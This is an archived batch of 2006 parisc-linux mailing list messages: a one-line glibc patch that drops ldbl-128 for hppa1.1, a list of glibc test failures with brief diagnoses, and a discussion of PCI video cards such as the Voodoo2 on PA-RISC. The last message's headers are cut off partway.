X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc tls linuxthreads failure baseline.
Date: Tue, 30 May 2006 11:00:42 -0400 (EDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <200605301500.k4UF0gk0014775@hiauly1.hia.nrc.ca>
References: <200605301407.k4UE71cL014247@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624096 19774 80.91.229.3 (22 Nov 2014 02:41:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 May 2006 15:01:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 30 May 2006 17:01:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 13EBD7D6DA;
	Tue, 30 May 2006 09:00:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10171-02; Tue, 30 May 2006 09:00:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4B7D47D6DD;
	Tue, 30 May 2006 09:00:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E53DC7D6D6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 May 2006 09:00:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09828-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 May 2006 09:00:49 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id DABAB7D6CF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 May 2006 09:00:48 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k4UF0hcF014776;
	Tue, 30 May 2006 11:00:43 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k4UF0gk0014775;
	Tue, 30 May 2006 11:00:42 -0400 (EDT)
In-Reply-To: <200605301407.k4UE71cL014247@hiauly1.hia.nrc.ca> from "John David
	Anglin" at May 30, 2006 10:07:00 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AWhJdaAQbUko7+nGPWgnjNBkZ2hlNwrH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23709

> > Usual long-double problem.

> Debian has had a one-line glibc patch installed for some time to

Patch is shown below.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

2005-06-18  Carlos O'Donell <carlos@systemhalted.org>

	* sysdeps/hppa/hppa1.1/Implies: Remove ldbl-128.

===================================================================
RCS file: /var/lib/cvs/glibc/sysdeps/hppa/hppa1.1/Implies,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -r1.2 -r1.3
--- glibc/sysdeps/hppa/hppa1.1/Implies	2005/06/08 20:32:10	1.2
+++ glibc/sysdeps/hppa/hppa1.1/Implies	2005/07/18 04:32:31	1.3
@@ -1,4 +1,3 @@
 wordsize-32
 ieee754/flt-32
 ieee754/dbl-64
-ieee754/ldbl-128
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc tls linuxthreads failure baseline.
Date: Mon, 29 May 2006 22:50:10 -0400
Lines: 84
Approved: news@gmane.org
Message-ID: <119aab440605291950w7f1f0022nd96fcdce3082bb44@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624096 19776 80.91.229.3 (22 Nov 2014 02:41:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:36 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 May 2006 02:50:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 30 May 2006 04:50:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E047C7D6A4;
	Mon, 29 May 2006 20:50:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02636-04; Mon, 29 May 2006 20:50:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 598077D6A5;
	Mon, 29 May 2006 20:50:14 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 032947D6A2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 May 2006 20:50:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02636-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 May 2006 20:50:11 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.228])
	by free.linux.hp.com (Postfix) with ESMTP id 05EFC7D68F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 May 2006 20:50:10 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id i5so983605wra
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 May 2006 19:50:10 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=WoCbI6/RLoxtOIBqbQbHhiUAo6Mi1W1nf0gNfXSV/DK72V0+z9MQYsLVPZH3UmLDxqqOPIsgGAzjAklsL7SiSpxURQ0JKKFCeNJ6qHfm6VRcM5t30s9Za1FR+2MqLJ6Bue6pR1NHx9T4MI+z2nf44Gmsx4q/OYhk081B+GeT04g=
Original-Received: by 10.54.60.10 with SMTP id i10mr2680773wra;
	Mon, 29 May 2006 19:50:10 -0700 (PDT)
Original-Received: by 10.54.156.11 with HTTP; Mon, 29 May 2006 19:50:10 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: 9dad5ba2ff91e69f
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1IBCcVNGeWU7sreUfHVz7ig5U3U4N09Q
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23710

Randolph,

This is the baseline failures I have for glibc tls linuxthreads:

make[2]: *** [/libc/math/test-float.out] Error 1
make[2]: *** [/libc/math/test-double.out] Error 1
make[2]: *** [/libc/math/test-ifloat.out] Error 1
make[2]: *** [/libc/math/test-idouble.out] Error 1

Much of this is fixed by Joel's great work. New compiler building.

make[1]: *** [math/tests] Error 2
make[2]: *** [/libc/stdlib/tst-strtod.out] Error 1
make[2]: *** [/libc/stdlib/bug-strtod.out] Error 1

Usual long-double problem.

make[1]: *** [stdlib/tests] Error 2
make[2]: [/libc/posix/annexc.out] Error 1 (ignored)
make[2]: *** [/libc/crypt/cert.out] Error 139

GCC optimizer bug.

make[1]: *** [crypt/tests] Error 2
make[2]: *** [/libc/linuxthreads/tst-clock1.out] Error 1

This looks like a wrapper problem.

make[2]: *** [/libc/linuxthreads/tst-attr1.out] Error 1

Guard address problem.

make[1]: *** [linuxthreads/tests] Error 2
make[2]: *** [/libc/rt/tst-aio9.out] Error 1
make[2]: *** [/libc/rt/tst-aio10.out] Error 1

Unknown. New regressions.

make[1]: *** [rt/tests] Error 2
make[2]: *** [/libc/elf/tst-pie1.out] Error 139

Unknown.

make[2]: *** [/libc/elf/tst-leaks1-mem] Error 1

Bad mojo.

make[2]: *** [/libc/elf/order.out] Error 1

Bad mojo, library constructor/destructors are processed out of order.

make[2]: *** [/libc/elf/nodelete2.out] Error 1

Bad mojo.

make[2]: *** [/libc/elf/tst-align2.out] Error 1

Bad mojo.

make[2]: *** [/libc/elf/order2.out] Error 1

Bad mojo.

make[2]: *** [/libc/elf/tst-audit2.out] Error 139

This is because our LA code is a bogus stub.

make[2]: *** [/libc/elf/check-textrel.out] Error 1

Huh... ?

make[1]: *** [elf/tests] Error 2
make: *** [check] Error 2

I'm not seeing tst-printf failures.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Max Grabert" <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question on video cards.
Date: Wed, 31 May 2006 15:16:03 +0700
Lines: 149
Approved: news@gmane.org
Message-ID: <e6eae0290605310116m3fe25a88o675e7e95cd1a8e70@mail.gmail.com>
References: <1149048178_22889@mail.internode.on.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1715216256=="
X-Trace: ger.gmane.org 1416624097 19777 80.91.229.3 (22 Nov 2014 02:41:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: pyrotek@internode.on.net
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 May 2006 08:16:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 31 May 2006 10:16:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2192E7D6E7;
	Wed, 31 May 2006 02:16:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17414-10; Wed, 31 May 2006 02:16:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5A5A67D6EA;
	Wed, 31 May 2006 02:16:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3B2927D6E2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 May 2006 02:16:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17414-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 May 2006 02:16:11 -0600 (MDT)
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.188])
	by free.linux.hp.com (Postfix) with ESMTP id F402E7D6E0
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 May 2006 02:16:09 -0600 (MDT)
Original-Received: by nf-out-0910.google.com with SMTP id y38so152573nfb
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 May 2006 01:16:08 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:references;
	b=QYjWaxi1pr1HH+qK2y89aXPzuh8eqIaHWr4vbV173KrXVNPuUI6iBjbrX7NWA/p+FRbvXwSoxE+YsX31TqztFKH6x2SgJl6VcJCt6jN/FYdi3TojpkaQowEyvldgMvaSwz/Ub5mU5kuZhzpaIHtjOtSOuApB5cizbjRSiU6LnNE=
Original-Received: by 10.48.225.3 with SMTP id x3mr558836nfg;
	Wed, 31 May 2006 01:15:30 -0700 (PDT)
Original-Received: by 10.48.246.6 with HTTP; Wed, 31 May 2006 01:16:03 -0700 (PDT)
In-Reply-To: <1149048178_22889@mail.internode.on.net>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sj0fEC8rbXBtrLqHPTQ2m0gqLyUmZQjB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23711

--===============1715216256==
Content-Type: multipart/alternative; 
	boundary="----=_Part_1393_21819893.1149063363420"

------=_Part_1393_21819893.1149063363420
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On 31/05/06, pyrotek <pyrotek@internode.on.net> wrote:
>
>
> Hello all,
>
> I know this topic has been done to death. And I have read quite a lot in
> the
> mailing list archives.
> If I've missed something please feal free to point me in the right
> direction.
>
> I've got a Fx10 (grumbles)
> I don't want to go back to a Vis-EG 8bit colour no thanks I use the Fx10
> in
> Hp-UX
>
> >From my limited understanding "some" PCI video cards "may" work.
>
> I have read that the voodoo 2 card "should" work?
> >From my memory this was a PCI card that connected to your main video card
> via a small vga cable. is this the card everyone is talking about?


Yes. It was basically sold as a 3D add-on card, and when
using a 3D game, your main graphics card would switch
off and the Voodoo2 would display the 3D picture.
However the Voodoo2 can actually be used as a 'normal'
graphics card (incl. accelerated 2D), but AFAIK it was
not identified as a graphics card to the x86-BIOS and
therefore not initialized as such and also the Windows drivers didn't
support 2D with the Voodoo2.
IIRC the Voodoo Banshee was basically somewhat 'upgraded' Voodoo2 with
working 2D support and sold as a 'real' graphics card.

But when running Linux you can use the Voodoo2 just like
any normal graphics card.

If so can I piggy back it off my FX10? Or do I need to use it by it self?


You should be able to do both. Use sticon/stifb/X11 (fbdev) with the FX10
and the voodoo fb driver X11 (fbdev) for the Voodoo2.
If you want to use the Voodoo2 alone, you might want
to include the fbcon driver as well, but you'll always need
to use the serial console if you want to get into the PDC
if you don't use the FX10.

----

I have a Voodoo2 and a Matrox Millenium I
(4MB + 4MB add on). Both used to work fine with
32bit kernels on a C240, C3000 and C3700,
the Voodoo2 at 1024x768x24bit, and the Matrox with
1280x1024x24bit (my monitor doesn't support more).
My Voodoo2 however as a terrible signal quality!
I also had several success reports from people using
a Matrox Millenium II (AFAIK very similar to v1 anyway) ...

... HOWEVER I haven't tested whether all the cards works
with recent kernels, last time I used that machine as a
desktop was half a year back with a 2.6.9 kernel or
something. IIRC also 64bit fbcon worked back then, but
the machine would HPMC when it tried to start XFree86.

IIRC the first person who succeeded in having a 24bit desktop with a non-HP
gfx card did it with a ATI Rage XL.
I also have the same card, but I never managed to get
it working.

Note though you will get a 24bit desktop with these
gfx cards you will have no 2D acceleration, as they
are just work with X11/fbdev. Once we get the native
Xorg working on parisc they should be fast enough
for video playback I guess, but right now it is a quite
sluggish desktop experience ...

-----

BTW, I've read some paper that described the effort required to get ATI and
NVidia cards to initialize on
non-Intel systems by the means of a software x86-Emulator (like the one that
is in XFree86/Xorg).
IIRC the nvidia cards where the least troublesome, but
the init sequence needed for ATI cards are also well
understood.

----

I don't know what parts need to be done to get the
x86-BIOS emu or XFree86/Xorg working on parisc,
but once fixed you should be able to get accelerated 2D
with readily available gfx cards such as newer cards from
ATI/NVidia.

I don't think it would be that easy to get accelerated
3D working though, since someone would also have
to port DRI etc...

Greetings,
 Max

------=_Part_1393_21819893.1149063363420
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On 31/05/06, <b class="gmail_sendername">pyrotek</b> &lt;<a href="mailto:pyrotek@internode.on.net">pyrotek@internode.on.net</a>&gt; wrote:<div><span class="gmail_quote"></span><blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">
<br>Hello all,<br><br>I know this topic has been done to death. And I have read quite a lot in the<br>mailing list archives.<br>If I've missed something please feal free to point me in the right<br>direction.<br><br>I've got a Fx10 (grumbles)
<br>I don't want to go back to a Vis-EG 8bit colour no thanks I use the Fx10 in<br>Hp-UX<br><br>&gt;From my limited understanding &quot;some&quot; PCI video cards &quot;may&quot; work.<br><br>I have read that the voodoo 2 card &quot;should&quot; work?
<br>&gt;From my memory this was a PCI card that connected to your main video card<br>via a small vga cable. is this the card everyone is talking about?</blockquote><div><br>Yes. It was basically sold as a 3D add-on card, and when
<br>using a 3D game, your main graphics card would switch<br>off and the Voodoo2 would display the 3D picture.<br>However the Voodoo2 can actually be used as a 'normal'<br>graphics card (incl. accelerated 2D), but AFAIK it was
<br>not identified as a graphics card to the x86-BIOS and<br>therefore not initialized as such and also the Windows drivers didn't support 2D with the Voodoo2.<br>IIRC the Voodoo Banshee was basically somewhat 'upgraded' Voodoo2 with working 2D support and sold as a 'real' graphics card.
<br> <br>But when running Linux you can use the Voodoo2 just like <br>any normal graphics card.<br></div><br><blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">
If so can I piggy back it off my FX10? Or do I need to use it by it self?</blockquote><div><br>You should be able to do both. Use sticon/stifb/X11 (fbdev) with the FX10 and the voodoo fb driver X11 (fbdev) for the Voodoo2.
<br>If you want to use the Voodoo2 alone, you might want<br>to include the fbcon driver as well, but you'll always need<br>to use the serial console if you want to get into the PDC<br>if you don't use the FX10.<br><br>----
<br><br>I have a Voodoo2 and a Matrox Millenium I<br>(4MB + 4MB add on). Both used to work fine with<br>32bit kernels on a C240, C3000 and C3700,<br>the Voodoo2 at 1024x768x24bit, and the Matrox with<br>1280x1024x24bit (my monitor doesn't support more).
<br>My Voodoo2 however as a terrible signal quality!<br>I also had several success reports from people using <br>a Matrox Millenium II (AFAIK very similar to v1 anyway) ...<br><br>... HOWEVER I haven't tested whether all the cards works 
<br>with recent kernels, last time I used that machine as a<br>desktop was half a year back with a 2.6.9 kernel or<br>something. IIRC also 64bit fbcon worked back then, but<br>the machine would HPMC when it tried to start XFree86.
<br><br>IIRC the first person who succeeded in having a 24bit desktop with a non-HP gfx card did it with a ATI Rage XL.<br>I also have the same card, but I never managed to get<br>it working.<br><br>Note though you will get a 24bit desktop with these
<br>gfx cards you will have no 2D acceleration, as they<br>are just work with X11/fbdev. Once we get the native<br>Xorg working on parisc they should be fast enough<br>for video playback I guess, but right now it is a quite
<br>sluggish desktop experience ...<br><br>-----<br><br>BTW, I've read some paper that described the effort required to get ATI and NVidia cards to initialize on<br>non-Intel systems by the means of a software x86-Emulator (like the one that is in XFree86/Xorg).
<br>IIRC the nvidia cards where the least troublesome, but<br>the init sequence needed for ATI cards are also well<br>understood.<br><br>----<br><br>I don't know what parts need to be done to get the<br>x86-BIOS emu or XFree86/Xorg working on parisc,
<br>but once fixed you should be able to get accelerated 2D<br>with readily available gfx cards such as newer cards from <br>ATI/NVidia.<br><br>I don't think it would be that easy to get accelerated<br>3D working though, since someone would also have
<br>to port DRI etc...<br><br>Greetings,<br>&nbsp;Max<br></div></div>

------=_Part_1393_21819893.1149063363420--

--===============1715216256==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1715216256==--



From - Thu Nov 08 21:34:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question on video cards.
Date: Wed, 31 May 2006 13:06:15 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <7d01f9f00605310406v2df7f5e3qd87e79ec108c5779@mail.gmail.com>
References: <1149048178_22889@mail.internode.on.net>
	<e6eae0290605310116m3fe25a88o675e7e95cd1a8e70@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624097 19779 80.91.229.3 (22 Nov 2014 02:41:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Max Grabert" <parisc@gmail.com>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 May 2006 11:06:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 31 May 2006 13:06:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C48747D706;
	Wed, 31 May 2006 05:06:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19381-01; Wed, 31 May 2006 05:06:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7645F7D6F1;
	Wed, 31 May 2006 05:06:21 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D303B7D6ED
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 May 2006 05:06:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19020-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 May 2006 05:06:15 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.196])
	by free.linux.hp.com (Postfix) with ESMTP id D919C7D6DF
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 May 2006 05:06:15 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id l8so4437nzf
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 May 2006 04:06:15 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=LLsb5//RlCnL51SC9BwMjwJ0wkrdDsBo/3p1tIN5XTCD9FmJ+tIuvHLk2Z3c8vD3G/Yx9gX5RZa46VWtp+SNqsQVsS9v0Jl8yeVdWIvacPfXUkevw+uIB7l9mgnDRtGmrlIXT43sCPsp/U/fv9Ifv+V1ltWmjVbxM6NJglGdKy4=
Original-Received: by 10.36.224.8 with SMTP id w8mr81347nzg;
	Wed, 31 May 2006 04:06:15 -0700 (PDT)
Original-Received: by 10.36.247.36 with HTTP; Wed, 31 May 2006 04:06:15 -0700 (PDT)
In-Reply-To: <e6eae0290605310116m3fe25a88o675e7e95cd1a8e70@mail.gmail.com>
Content-Disposition: inline
X-Google-Sender-Auth: f59be42bad07c33b
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
